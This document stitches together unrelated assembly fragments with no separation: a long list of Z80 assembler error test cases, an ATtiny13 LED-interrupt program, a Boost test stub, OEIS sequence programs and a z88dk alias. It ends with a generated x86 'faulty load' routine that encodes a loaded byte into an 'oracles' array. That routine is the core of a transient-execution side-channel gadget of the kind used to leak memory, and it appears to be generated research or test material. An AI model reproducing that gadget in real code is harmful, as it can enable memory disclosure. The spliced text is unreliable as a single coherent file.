; Error set 2, (iy), c ; Error set 2, (iy), d ; Error set 2, (iy), e ; Error set 2, (iy), h ; Error set 2, (iy), l ; Error set 2, (iy+127) ; Error set 2, (iy+127), a ; Error set 2, (iy+127), b ; Error set 2, (iy+127), c ; Error set 2, (iy+127), d ; Error set 2, (iy+127), e ; Error set 2, (iy+127), h ; Error set 2, (iy+127), l ; Error set 2, (iy-128) ; Error set 2, (iy-128), a ; Error set 2, (iy-128), b ; Error set 2, (iy-128), c ; Error set 2, (iy-128), d ; Error set 2, (iy-128), e ; Error set 2, (iy-128), h ; Error set 2, (iy-128), l ; Error set 2, a' ; Error set 2, b' ; Error set 2, c' ; Error set 2, d' ; Error set 2, e' ; Error set 2, h' ; Error set 2, l' ; Error set 3, (ix) ; Error set 3, (ix), a ; Error set 3, (ix), b ; Error set 3, (ix), c ; Error set 3, (ix), d ; Error set 3, (ix), e ; Error set 3, (ix), h ; Error set 3, (ix), l ; Error set 3, (ix+127) ; Error set 3, (ix+127), a ; Error set 3, (ix+127), b ; Error set 3, (ix+127), c ; Error set 3, (ix+127), d ; Error set 3, (ix+127), e ; Error set 3, (ix+127), h ; Error set 3, (ix+127), l ; Error set 3, (ix-128) ; Error set 3, (ix-128), a ; Error set 3, (ix-128), b ; Error set 3, (ix-128), c ; Error set 3, (ix-128), d ; Error set 3, (ix-128), e ; Error set 3, (ix-128), h ; Error set 3, (ix-128), l ; Error set 3, (iy) ; Error set 3, (iy), a ; Error set 3, (iy), b ; Error set 3, (iy), c ; Error set 3, (iy), d ; Error set 3, (iy), e ; Error set 3, (iy), h ; Error set 3, (iy), l ; Error set 3, (iy+127) ; Error set 3, (iy+127), a ; Error set 3, (iy+127), b ; Error set 3, (iy+127), c ; Error set 3, (iy+127), d ; Error set 3, (iy+127), e ; Error set 3, (iy+127), h ; Error set 3, (iy+127), l ; Error set 3, (iy-128) ; Error set 3, (iy-128), a ; Error set 3, (iy-128), b ; Error set 3, (iy-128), c ; Error set 3, (iy-128), d ; Error set 3, (iy-128), e ; Error set 3, (iy-128), h ; Error set 3, (iy-128), l ; Error set 3, a' ; Error set 3, b' ; Error set 3, c' ; Error set 3, d' ; Error set 3, e' ; Error set 3, h' ; Error set 3, l' ; Error set 4, (ix) ; Error set 4, (ix), a ; Error set 4, (ix), b ; Error set 4, (ix), c ; Error set 4, (ix), d ; Error set 4, (ix), e ; Error set 4, (ix), h ; Error set 4, (ix), l ; Error set 4, (ix+127) ; Error set 4, (ix+127), a ; Error set 4, (ix+127), b ; Error set 4, (ix+127), c ; Error set 4, (ix+127), d ; Error set 4, (ix+127), e ; Error set 4, (ix+127), h ; Error set 4, (ix+127), l ; Error set 4, (ix-128) ; Error set 4, (ix-128), a ; Error set 4, (ix-128), b ; Error set 4, (ix-128), c ; Error set 4, (ix-128), d ; Error set 4, (ix-128), e ; Error set 4, (ix-128), h ; Error set 4, (ix-128), l ; Error set 4, (iy) ; Error set 4, (iy), a ; Error set 4, (iy), b ; Error set 4, (iy), c ; Error set 4, (iy), d ; Error set 4, (iy), e ; Error set 4, (iy), h ; Error set 4, (iy), l ; Error set 4, (iy+127) ; Error set 4, (iy+127), a ; Error set 4, (iy+127), b ; Error set 4, (iy+127), c ; Error set 4, (iy+127), d ; Error set 4, (iy+127), e ; Error set 4, (iy+127), h ; Error set 4, (iy+127), l ; Error set 4, (iy-128) ; Error set 4, (iy-128), a ; Error set 4, (iy-128), b ; Error set 4, (iy-128), c ; Error set 4, (iy-128), d ; Error set 4, (iy-128), e ; Error set 4, (iy-128), h ; Error set 4, (iy-128), l ; Error set 4, a' ; Error set 4, b' ; Error set 4, c' ; Error set 4, d' ; Error set 4, e' ; Error set 4, h' ; Error set 4, l' ; Error set 5, (ix) ; Error set 5, (ix), a ; Error set 5, (ix), b ; Error set 5, (ix), c ; Error set 5, (ix), d ; Error set 5, (ix), e ; Error set 5, (ix), h ; Error set 5, (ix), l ; Error set 5, (ix+127) ; Error set 5, (ix+127), a ; Error set 5, (ix+127), b ; Error set 5, (ix+127), c ; Error set 5, (ix+127), d ; Error set 5, (ix+127), e ; Error set 5, (ix+127), h ; Error set 5, (ix+127), l ; Error set 5, (ix-128) ; Error set 5, (ix-128), a ; Error set 5, (ix-128), b ; Error set 5, (ix-128), c ; Error set 5, (ix-128), d ; Error set 5, (ix-128), e ; Error set 5, (ix-128), h ; Error set 5, (ix-128), l ; Error set 5, (iy) ; Error set 5, (iy), a ; Error set 5, (iy), b ; Error set 5, (iy), c ; Error set 5, (iy), d ; Error set 5, (iy), e ; Error set 5, (iy), h ; Error set 5, (iy), l ; Error set 5, (iy+127) ; Error set 5, (iy+127), a ; Error set 5, (iy+127), b ; Error set 5, (iy+127), c ; Error set 5, (iy+127), d ; Error set 5, (iy+127), e ; Error set 5, (iy+127), h ; Error set 5, (iy+127), l ; Error set 5, (iy-128) ; Error set 5, (iy-128), a ; Error set 5, (iy-128), b ; Error set 5, (iy-128), c ; Error set 5, (iy-128), d ; Error set 5, (iy-128), e ; Error set 5, (iy-128), h ; Error set 5, (iy-128), l ; Error set 5, a' ; Error set 5, b' ; Error set 5, c' ; Error set 5, d' ; Error set 5, e' ; Error set 5, h' ; Error set 5, l' ; Error set 6, (ix) ; Error set 6, (ix), a ; Error set 6, (ix), b ; Error set 6, (ix), c ; Error set 6, (ix), d ; Error set 6, (ix), e ; Error set 6, (ix), h ; Error set 6, (ix), l ; Error set 6, (ix+127) ; Error set 6, (ix+127), a ; Error set 6, (ix+127), b ; Error set 6, (ix+127), c ; Error set 6, (ix+127), d ; Error set 6, (ix+127), e ; Error set 6, (ix+127), h ; Error set 6, (ix+127), l ; Error set 6, (ix-128) ; Error set 6, (ix-128), a ; Error set 6, (ix-128), b ; Error set 6, (ix-128), c ; Error set 6, (ix-128), d ; Error set 6, (ix-128), e ; Error set 6, (ix-128), h ; Error set 6, (ix-128), l ; Error set 6, (iy) ; Error set 6, (iy), a ; Error set 6, (iy), b ; Error set 6, (iy), c ; Error set 6, (iy), d ; Error set 6, (iy), e ; Error set 6, (iy), h ; Error set 6, (iy), l ; Error set 6, (iy+127) ; Error set 6, (iy+127), a ; Error set 6, (iy+127), b ; Error set 6, (iy+127), c ; Error set 6, (iy+127), d ; Error set 6, (iy+127), e ; Error set 6, (iy+127), h ; Error set 6, (iy+127), l ; Error set 6, (iy-128) ; Error set 6, (iy-128), a ; Error set 6, (iy-128), b ; Error set 6, (iy-128), c ; Error set 6, (iy-128), d ; Error set 6, (iy-128), e ; Error set 6, (iy-128), h ; Error set 6, (iy-128), l ; Error set 6, a' ; Error set 6, b' ; Error set 6, c' ; Error set 6, d' ; Error set 6, e' ; Error set 6, h' ; Error set 6, l' ; Error set 7, (ix) ; Error set 7, (ix), a ; Error set 7, (ix), b ; Error set 7, (ix), c ; Error set 7, (ix), d ; Error set 7, (ix), e ; Error set 7, (ix), h ; Error set 7, (ix), l ; Error set 7, (ix+127) ; Error set 7, (ix+127), a ; Error set 7, (ix+127), b ; Error set 7, (ix+127), c ; Error set 7, (ix+127), d ; Error set 7, (ix+127), e ; Error set 7, (ix+127), h ; Error set 7, (ix+127), l ; Error set 7, (ix-128) ; Error set 7, (ix-128), a ; Error set 7, (ix-128), b ; Error set 7, (ix-128), c ; Error set 7, (ix-128), d ; Error set 7, (ix-128), e ; Error set 7, (ix-128), h ; Error set 7, (ix-128), l ; Error set 7, (iy) ; Error set 7, (iy), a ; Error set 7, (iy), b ; Error set 7, (iy), c ; Error set 7, (iy), d ; Error set 7, (iy), e ; Error set 7, (iy), h ; Error set 7, (iy), l ; Error set 7, (iy+127) ; Error set 7, (iy+127), a ; Error set 7, (iy+127), b ; Error set 7, (iy+127), c ; Error set 7, (iy+127), d ; Error set 7, (iy+127), e ; Error set 7, (iy+127), h ; Error set 7, (iy+127), l ; Error set 7, (iy-128) ; Error set 7, (iy-128), a ; Error set 7, (iy-128), b ; Error set 7, (iy-128), c ; Error set 7, (iy-128), d ; Error set 7, (iy-128), e ; Error set 7, (iy-128), h ; Error set 7, (iy-128), l ; Error set 7, a' ; Error set 7, b' ; Error set 7, c' ; Error set 7, d' ; Error set 7, e' ; Error set 7, h' ; Error set 7, l' ; Error set 8, (hl) ; Error set 8, (hl) ; Error set 8, (ix) ; Error set 8, (ix) ; Error set 8, (ix), a ; Error set 8, (ix), a ; Error set 8, (ix), b ; Error set 8, (ix), b ; Error set 8, (ix), c ; Error set 8, (ix), c ; Error set 8, (ix), d ; Error set 8, (ix), d ; Error set 8, (ix), e ; Error set 8, (ix), e ; Error set 8, (ix), h ; Error set 8, (ix), h ; Error set 8, (ix), l ; Error set 8, (ix), l ; Error set 8, (ix+127) ; Error set 8, (ix+127) ; Error set 8, (ix+127), a ; Error set 8, (ix+127), a ; Error set 8, (ix+127), b ; Error set 8, (ix+127), b ; Error set 8, (ix+127), c ; Error set 8, (ix+127), c ; Error set 8, (ix+127), d ; Error set 8, (ix+127), d ; Error set 8, (ix+127), e ; Error set 8, (ix+127), e ; Error set 8, (ix+127), h ; Error set 8, (ix+127), h ; Error set 8, (ix+127), l ; Error set 8, (ix+127), l ; Error set 8, (ix-128) ; Error set 8, (ix-128) ; Error set 8, (ix-128), a ; Error set 8, (ix-128), a ; Error set 8, (ix-128), b ; Error set 8, (ix-128), b ; Error set 8, (ix-128), c ; Error set 8, (ix-128), c ; Error set 8, (ix-128), d ; Error set 8, (ix-128), d ; Error set 8, (ix-128), e ; Error set 8, (ix-128), e ; Error set 8, (ix-128), h ; Error set 8, (ix-128), h ; Error set 8, (ix-128), l ; Error set 8, (ix-128), l ; Error set 8, (iy) ; Error set 8, (iy) ; Error set 8, (iy), a ; Error set 8, (iy), a ; Error set 8, (iy), b ; Error set 8, (iy), b ; Error set 8, (iy), c ; Error set 8, (iy), c ; Error set 8, (iy), d ; Error set 8, (iy), d ; Error set 8, (iy), e ; Error set 8, (iy), e ; Error set 8, (iy), h ; Error set 8, (iy), h ; Error set 8, (iy), l ; Error set 8, (iy), l ; Error set 8, (iy+127) ; Error set 8, (iy+127) ; Error set 8, (iy+127), a ; Error set 8, (iy+127), a ; Error set 8, (iy+127), b ; Error set 8, (iy+127), b ; Error set 8, (iy+127), c ; Error set 8, (iy+127), c ; Error set 8, (iy+127), d ; Error set 8, (iy+127), d ; Error set 8, (iy+127), e ; Error set 8, (iy+127), e ; Error set 8, (iy+127), h ; Error set 8, (iy+127), h ; Error set 8, (iy+127), l ; Error set 8, (iy+127), l ; Error set 8, (iy-128) ; Error set 8, (iy-128) ; Error set 8, (iy-128), a ; Error set 8, (iy-128), a ; Error set 8, (iy-128), b ; Error set 8, (iy-128), b ; Error set 8, (iy-128), c ; Error set 8, (iy-128), c ; Error set 8, (iy-128), d ; Error set 8, (iy-128), d ; Error set 8, (iy-128), e ; Error set 8, (iy-128), e ; Error set 8, (iy-128), h ; Error set 8, (iy-128), h ; Error set 8, (iy-128), l ; Error set 8, (iy-128), l ; Error set 8, a ; Error set 8, a ; Error set 8, a' ; Error set 8, a' ; Error set 8, b ; Error set 8, b ; Error set 8, b' ; Error set 8, b' ; Error set 8, c ; Error set 8, c ; Error set 8, c' ; Error set 8, c' ; Error set 8, d ; Error set 8, d ; Error set 8, d' ; Error set 8, d' ; Error set 8, e ; Error set 8, e ; Error set 8, e' ; Error set 8, e' ; Error set 8, h ; Error set 8, h ; Error set 8, h' ; Error set 8, h' ; Error set 8, l ; Error set 8, l ; Error set 8, l' ; Error set 8, l' ; Error set.a -1, (hl) ; Error set.a -1, (hl) ; Error set.a -1, (ix) ; Error set.a -1, (ix) ; Error set.a -1, (ix+127) ; Error set.a -1, (ix+127) ; Error set.a -1, (ix-128) ; Error set.a -1, (ix-128) ; Error set.a -1, (iy) ; Error set.a -1, (iy) ; Error set.a -1, (iy+127) ; Error set.a -1, (iy+127) ; Error set.a -1, (iy-128) ; Error set.a -1, (iy-128) ; Error set.a -1, a ; Error set.a -1, a ; Error set.a -1, b ; Error set.a -1, b ; Error set.a -1, c ; Error set.a -1, c ; Error set.a -1, d ; Error set.a -1, d ; Error set.a -1, e ; Error set.a -1, e ; Error set.a -1, h ; Error set.a -1, h ; Error set.a -1, l ; Error set.a -1, l ; Error set.a 0, (ix) ; Error set.a 0, (ix+127) ; Error set.a 0, (ix-128) ; Error set.a 0, (iy) ; Error set.a 0, (iy+127) ; Error set.a 0, (iy-128) ; Error set.a 1, (ix) ; Error set.a 1, (ix+127) ; Error set.a 1, (ix-128) ; Error set.a 1, (iy) ; Error set.a 1, (iy+127) ; Error set.a 1, (iy-128) ; Error set.a 2, (ix) ; Error set.a 2, (ix+127) ; Error set.a 2, (ix-128) ; Error set.a 2, (iy) ; Error set.a 2, (iy+127) ; Error set.a 2, (iy-128) ; Error set.a 3, (ix) ; Error set.a 3, (ix+127) ; Error set.a 3, (ix-128) ; Error set.a 3, (iy) ; Error set.a 3, (iy+127) ; Error set.a 3, (iy-128) ; Error set.a 4, (ix) ; Error set.a 4, (ix+127) ; Error set.a 4, (ix-128) ; Error set.a 4, (iy) ; Error set.a 4, (iy+127) ; Error set.a 4, (iy-128) ; Error set.a 5, (ix) ; Error set.a 5, (ix+127) ; Error set.a 5, (ix-128) ; Error set.a 5, (iy) ; Error set.a 5, (iy+127) ; Error set.a 5, (iy-128) ; Error set.a 6, (ix) ; Error set.a 6, (ix+127) ; Error set.a 6, (ix-128) ; Error set.a 6, (iy) ; Error set.a 6, (iy+127) ; Error set.a 6, (iy-128) ; Error set.a 7, (ix) ; Error set.a 7, (ix+127) ; Error set.a 7, (ix-128) ; Error set.a 7, (iy) ; Error set.a 7, (iy+127) ; Error set.a 7, (iy-128) ; Error set.a 8, (hl) ; Error set.a 8, (hl) ; Error set.a 8, (ix) ; Error set.a 8, (ix) ; Error set.a 8, (ix+127) ; Error set.a 8, (ix+127) ; Error set.a 8, (ix-128) ; Error set.a 8, (ix-128) ; Error set.a 8, (iy) ; Error set.a 8, (iy) ; Error set.a 8, (iy+127) ; Error set.a 8, (iy+127) ; Error set.a 8, (iy-128) ; Error set.a 8, (iy-128) ; Error set.a 8, a ; Error set.a 8, a ; Error set.a 8, b ; Error set.a 8, b ; Error set.a 8, c ; Error set.a 8, c ; Error set.a 8, d ; Error set.a 8, d ; Error set.a 8, e ; Error set.a 8, e ; Error set.a 8, h ; Error set.a 8, h ; Error set.a 8, l ; Error set.a 8, l ; Error setae ; Error setusr ; Error shld -32768 ; Error shld 32767 ; Error shld 65535 ; Error shlde ; Error shlx ; Error sim ; Error sla (ix) ; Error sla (ix), a ; Error sla (ix), b ; Error sla (ix), c ; Error sla (ix), d ; Error sla (ix), e ; Error sla (ix), h ; Error sla (ix), l ; Error sla (ix+127) ; Error sla (ix+127), a ; Error sla (ix+127), b ; Error sla (ix+127), c ; Error sla (ix+127), d ; Error sla (ix+127), e ; Error sla (ix+127), h ; Error sla (ix+127), l ; Error sla (ix-128) ; Error sla (ix-128), a ; Error sla (ix-128), b ; Error sla (ix-128), c ; Error sla (ix-128), d ; Error sla (ix-128), e ; Error sla (ix-128), h ; Error sla (ix-128), l ; Error sla (iy) ; Error sla (iy), a ; Error sla (iy), b ; Error sla (iy), c ; Error sla (iy), d ; Error sla (iy), e ; Error sla (iy), h ; Error sla (iy), l ; Error sla (iy+127) ; Error sla (iy+127), a ; Error sla (iy+127), b ; Error sla (iy+127), c ; Error sla (iy+127), d ; Error sla (iy+127), e ; Error sla (iy+127), h ; Error sla (iy+127), l ; Error sla (iy-128) ; Error sla (iy-128), a ; Error sla (iy-128), b ; Error sla (iy-128), c ; Error sla (iy-128), d ; Error sla (iy-128), e ; Error sla (iy-128), h ; Error sla (iy-128), l ; Error sla a' ; Error sla b' ; Error sla c' ; Error sla d' ; Error sla e' ; Error sla h' ; Error sla l' ; Error sli (hl) ; Error sli (ix) ; Error sli (ix), a ; Error sli (ix), b ; Error sli (ix), c ; Error sli (ix), d ; Error sli (ix), e ; Error sli (ix), h ; Error sli (ix), l ; Error sli (ix+127) ; Error sli (ix+127), a ; Error sli (ix+127), b ; Error sli (ix+127), c ; Error sli (ix+127), d ; Error sli (ix+127), e ; Error sli (ix+127), h ; Error sli (ix+127), l ; Error sli (ix-128) ; Error sli (ix-128), a ; Error sli (ix-128), b ; Error sli (ix-128), c ; Error sli (ix-128), d ; Error sli (ix-128), e ; Error sli (ix-128), h ; Error sli (ix-128), l ; Error sli (iy) ; Error sli (iy), a ; Error sli (iy), b ; Error sli (iy), c ; Error sli (iy), d ; Error sli (iy), e ; Error sli (iy), h ; Error sli (iy), l ; Error sli (iy+127) ; Error sli (iy+127), a ; Error sli (iy+127), b ; Error sli (iy+127), c ; Error sli (iy+127), d ; Error sli (iy+127), e ; Error sli (iy+127), h ; Error sli (iy+127), l ; Error sli (iy-128) ; Error sli (iy-128), a ; Error sli (iy-128), b ; Error sli (iy-128), c ; Error sli (iy-128), d ; Error sli (iy-128), e ; Error sli (iy-128), h ; Error sli (iy-128), l ; Error sli a ; Error sli b ; Error sli c ; Error sli d ; Error sli e ; Error sli h ; Error sli l ; Error sll (hl) ; Error sll (ix) ; Error sll (ix), a ; Error sll (ix), b ; Error sll (ix), c ; Error sll (ix), d ; Error sll (ix), e ; Error sll (ix), h ; Error sll (ix), l ; Error sll (ix+127) ; Error sll (ix+127), a ; Error sll (ix+127), b ; Error sll (ix+127), c ; Error sll (ix+127), d ; Error sll (ix+127), e ; Error sll (ix+127), h ; Error sll (ix+127), l ; Error sll (ix-128) ; Error sll (ix-128), a ; Error sll (ix-128), b ; Error sll (ix-128), c ; Error sll (ix-128), d ; Error sll (ix-128), e ; Error sll (ix-128), h ; Error sll (ix-128), l ; Error sll (iy) ; Error sll (iy), a ; Error sll (iy), b ; Error sll (iy), c ; Error sll (iy), d ; Error sll (iy), e ; Error sll (iy), h ; Error sll (iy), l ; Error sll (iy+127) ; Error sll (iy+127), a ; Error sll (iy+127), b ; Error sll (iy+127), c ; Error sll (iy+127), d ; Error sll (iy+127), e ; Error sll (iy+127), h ; Error sll (iy+127), l ; Error sll (iy-128) ; Error sll (iy-128), a ; Error sll (iy-128), b ; Error sll (iy-128), c ; Error sll (iy-128), d ; Error sll (iy-128), e ; Error sll (iy-128), h ; Error sll (iy-128), l ; Error sll a ; Error sll b ; Error sll c ; Error sll d ; Error sll e ; Error sll h ; Error sll l ; Error slp ; Error sls (hl) ; Error sls (ix) ; Error sls (ix), a ; Error sls (ix), b ; Error sls (ix), c ; Error sls (ix), d ; Error sls (ix), e ; Error sls (ix), h ; Error sls (ix), l ; Error sls (ix+127) ; Error sls (ix+127), a ; Error sls (ix+127), b ; Error sls (ix+127), c ; Error sls (ix+127), d ; Error sls (ix+127), e ; Error sls (ix+127), h ; Error sls (ix+127), l ; Error sls (ix-128) ; Error sls (ix-128), a ; Error sls (ix-128), b ; Error sls (ix-128), c ; Error sls (ix-128), d ; Error sls (ix-128), e ; Error sls (ix-128), h ; Error sls (ix-128), l ; Error sls (iy) ; Error sls (iy), a ; Error sls (iy), b ; Error sls (iy), c ; Error sls (iy), d ; Error sls (iy), e ; Error sls (iy), h ; Error sls (iy), l ; Error sls (iy+127) ; Error sls (iy+127), a ; Error sls (iy+127), b ; Error sls (iy+127), c ; Error sls (iy+127), d ; Error sls (iy+127), e ; Error sls (iy+127), h ; Error sls (iy+127), l ; Error sls (iy-128) ; Error sls (iy-128), a ; Error sls (iy-128), b ; Error sls (iy-128), c ; Error sls (iy-128), d ; Error sls (iy-128), e ; Error sls (iy-128), h ; Error sls (iy-128), l ; Error sls a ; Error sls b ; Error sls c ; Error sls d ; Error sls e ; Error sls h ; Error sls l ; Error sra (ix) ; Error sra (ix), a ; Error sra (ix), b ; Error sra (ix), c ; Error sra (ix), d ; Error sra (ix), e ; Error sra (ix), h ; Error sra (ix), l ; Error sra (ix+127) ; Error sra (ix+127), a ; Error sra (ix+127), b ; Error sra (ix+127), c ; Error sra (ix+127), d ; Error sra (ix+127), e ; Error sra (ix+127), h ; Error sra (ix+127), l ; Error sra (ix-128) ; Error sra (ix-128), a ; Error sra (ix-128), b ; Error sra (ix-128), c ; Error sra (ix-128), d ; Error sra (ix-128), e ; Error sra (ix-128), h ; Error sra (ix-128), l ; Error sra (iy) ; Error sra (iy), a ; Error sra (iy), b ; Error sra (iy), c ; Error sra (iy), d ; Error sra (iy), e ; Error sra (iy), h ; Error sra (iy), l ; Error sra (iy+127) ; Error sra (iy+127), a ; Error sra (iy+127), b ; Error sra (iy+127), c ; Error sra (iy+127), d ; Error sra (iy+127), e ; Error sra (iy+127), h ; Error sra (iy+127), l ; Error sra (iy-128) ; Error sra (iy-128), a ; Error sra (iy-128), b ; Error sra (iy-128), c ; Error sra (iy-128), d ; Error sra (iy-128), e ; Error sra (iy-128), h ; Error sra (iy-128), l ; Error sra a' ; Error sra b' ; Error sra c' ; Error sra d' ; Error sra e' ; Error sra h' ; Error sra l' ; Error srl (ix) ; Error srl (ix), a ; Error srl (ix), b ; Error srl (ix), c ; Error srl (ix), d ; Error srl (ix), e ; Error srl (ix), h ; Error srl (ix), l ; Error srl (ix+127) ; Error srl (ix+127), a ; Error srl (ix+127), b ; Error srl (ix+127), c ; Error srl (ix+127), d ; Error srl (ix+127), e ; Error srl (ix+127), h ; Error srl (ix+127), l ; Error srl (ix-128) ; Error srl (ix-128), a ; Error srl (ix-128), b ; Error srl (ix-128), c ; Error srl (ix-128), d ; Error srl (ix-128), e ; Error srl (ix-128), h ; Error srl (ix-128), l ; Error srl (iy) ; Error srl (iy), a ; Error srl (iy), b ; Error srl (iy), c ; Error srl (iy), d ; Error srl (iy), e ; Error srl (iy), h ; Error srl (iy), l ; Error srl (iy+127) ; Error srl (iy+127), a ; Error srl (iy+127), b ; Error srl (iy+127), c ; Error srl (iy+127), d ; Error srl (iy+127), e ; Error srl (iy+127), h ; Error srl (iy+127), l ; Error srl (iy-128) ; Error srl (iy-128), a ; Error srl (iy-128), b ; Error srl (iy-128), c ; Error srl (iy-128), d ; Error srl (iy-128), e ; Error srl (iy-128), h ; Error srl (iy-128), l ; Error srl a' ; Error srl b' ; Error srl c' ; Error srl d' ; Error srl e' ; Error srl h' ; Error srl l' ; Error sub (ix) ; Error sub (ix+127) ; Error sub (ix-128) ; Error sub (iy) ; Error sub (iy+127) ; Error sub (iy-128) ; Error sub a', (hl) ; Error sub a', (ix) ; Error sub a', (ix+127) ; Error sub a', (ix-128) ; Error sub a', (iy) ; Error sub a', (iy+127) ; Error sub a', (iy-128) ; Error sub a', -128 ; Error sub a', 127 ; Error sub a', 255 ; Error sub a', a ; Error sub a', b ; Error sub a', c ; Error sub a', d ; Error sub a', e ; Error sub a', h ; Error sub a', l ; Error sub a, (ix) ; Error sub a, (ix+127) ; Error sub a, (ix-128) ; Error sub a, (iy) ; Error sub a, (iy+127) ; Error sub a, (iy-128) ; Error sub a, ixh ; Error sub a, ixl ; Error sub a, iyh ; Error sub a, iyl ; Error sub ixh ; Error sub ixl ; Error sub iyh ; Error sub iyl ; Error sures ; Error swapnib ; Error syscall ; Error test (hl) ; Error test (ix) ; Error test (ix+127) ; Error test (ix-128) ; Error test (iy) ; Error test (iy+127) ; Error test (iy-128) ; Error test -128 ; Error test 127 ; Error test 255 ; Error test a ; Error test a, (hl) ; Error test a, (ix) ; Error test a, (ix+127) ; Error test a, (ix-128) ; Error test a, (iy) ; Error test a, (iy+127) ; Error test a, (iy-128) ; Error test a, -128 ; Error test a, 127 ; Error test a, 255 ; Error test a, a ; Error test a, b ; Error test a, c ; Error test a, d ; Error test a, e ; Error test a, h ; Error test a, l ; Error test b ; Error test c ; Error test d ; Error test e ; Error test h ; Error test l ; Error tst (hl) ; Error tst (ix) ; Error tst (ix+127) ; Error tst (ix-128) ; Error tst (iy) ; Error tst (iy+127) ; Error tst (iy-128) ; Error tst -128 ; Error tst 127 ; Error tst 255 ; Error tst a ; Error tst a, (hl) ; Error tst a, (ix) ; Error tst a, (ix+127) ; Error tst a, (ix-128) ; Error tst a, (iy) ; Error tst a, (iy+127) ; Error tst a, (iy-128) ; Error tst a, -128 ; Error tst a, 127 ; Error tst a, 255 ; Error tst a, a ; Error tst a, b ; Error tst a, c ; Error tst a, d ; Error tst a, e ; Error tst a, h ; Error tst a, l ; Error tst b ; Error tst c ; Error tst d ; Error tst e ; Error tst h ; Error tst l ; Error tstio -128 ; Error tstio 127 ; Error tstio 255 ; Error uma ; Error ums ; Error xor (ix) ; Error xor (ix+127) ; Error xor (ix-128) ; Error xor (iy) ; Error xor (iy+127) ; Error xor (iy-128) ; Error xor a', (hl) ; Error xor a', (ix) ; Error xor a', (ix+127) ; Error xor a', (ix-128) ; Error xor a', (iy) ; Error xor a', (iy+127) ; Error xor a', (iy-128) ; Error xor a', -128 ; Error xor a', 127 ; Error xor a', 255 ; Error xor a', a ; Error xor a', b ; Error xor a', c ; Error xor a', d ; Error xor a', e ; Error xor a', h ; Error xor a', l ; Error xor a, (ix) ; Error xor a, (ix+127) ; Error xor a, (ix-128) ; Error xor a, (iy) ; Error xor a, (iy+127) ; Error xor a, (iy-128) ; Error xor a, ixh ; Error xor a, ixl ; Error xor a, iyh ; Error xor a, iyl ; Error xor ixh ; Error xor ixl ; Error xor iyh ; Error xor iyl ; Error xthl ; Error
.include "myTiny13.h" ; switch between 250 nA / 8 mA .equ LED,0 .equ TASTER,1 ;irq Vector .org 0x0000 rjmp Main rjmp EXT_INT0 ; IRQ0 Handler ; IRQ routine ----------------- .org 0x0010 EXT_INT0: ; toggleLED sbis PORTB,LED ; if LED = 1 then rjmp setLED cbi PORTB,LED ; LED := 0; return; reti setLED: ; else sbi PORTB,LED ; LED := 1; return; reti .org 0x0020 Main: sbi DDRB,LED ; output cbi DDRB,TASTER ; input ; 00x00000 Set Sleep enable ; 000xx000 configure Sleepmode to power-down mode: SM[1:0] = 10 ; 000000xx INTO IRQ on logical low-lewel ISC0[1:0] = 00 ldi A,0b00110000 out MCUCR,A ; Enable int0 IRQ ldi A,0b01000000 out GIMSK,A sei mainLoop: sleep rjmp mainLoop
// (C) Copyright Edward Diener 2011-2015 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #include <libs/vmd/test/test_is_tuple.cxx>
; A122895: Characteristic function of natural numbers with number of divisors equal to a Fibonacci number. ; 1,1,1,1,1,0,1,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0 seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. seq $0,66628 ; a(n) = n - the largest Fibonacci number <= n. bin $1,$0 mov $0,$1
; int wv_stack_shrink_to_fit(wv_stack_t *s) SECTION code_clib SECTION code_adt_wv_stack PUBLIC wv_stack_shrink_to_fit EXTERN asm_wv_stack_shrink_to_fit defc wv_stack_shrink_to_fit = asm_wv_stack_shrink_to_fit
; A294885: a(n) = A004125(n) mod n = [Sum_{i=1..n} (n mod i)] mod n. ; 0,0,1,1,4,3,1,0,3,3,0,5,2,3,6,4,0,11,7,1,7,11,6,13,3,8,17,12,6,18,12,7,19,27,8,18,11,20,35,18,10,32,24,20,24,36,27,38,22,20,41,38,28,6,34,16,40,56,45,46,35,52,0,53,23,65,53,51,12,65,52,60,47,68,6,4,48,22,7,46,73,15,82,11,58,83,35,15,87,17,71,71,20,47,5,23,5,12,36,1 add $0,1 mov $2,$0 lpb $0 sub $0,1 mod $1,$2 mov $3,$2 add $4,1 mod $3,$4 add $1,$3 lpe mov $0,$1
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r9 push %rax push %rbx push %rcx push %rdi // Load lea addresses_WT+0xf18d, %rax nop nop nop add $17814, %r9 movb (%rax), %r14b and $58249, %rdi // Load lea addresses_A+0x16fd5, %rdi nop nop nop nop nop add %rcx, %rcx mov (%rdi), %eax nop cmp $36364, %r11 // Store lea addresses_A+0x187d5, %r11 nop nop nop nop xor %rcx, %rcx mov $0x5152535455565758, %rax movq %rax, %xmm4 movups %xmm4, (%r11) nop nop nop sub $26689, %r11 // Store lea addresses_RW+0xc375, %rbx nop nop nop nop add $50845, %rdi mov $0x5152535455565758, %r9 movq %r9, %xmm2 vmovups %ymm2, (%rbx) nop nop and %rax, %rax // Faulty Load lea addresses_A+0x16fd5, %rcx nop nop nop nop nop and %r9, %r9 mov (%rcx), %di lea oracles, %r9 and $0xff, %rdi shlq $12, %rdi mov (%r9,%rdi,1), %rdi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} 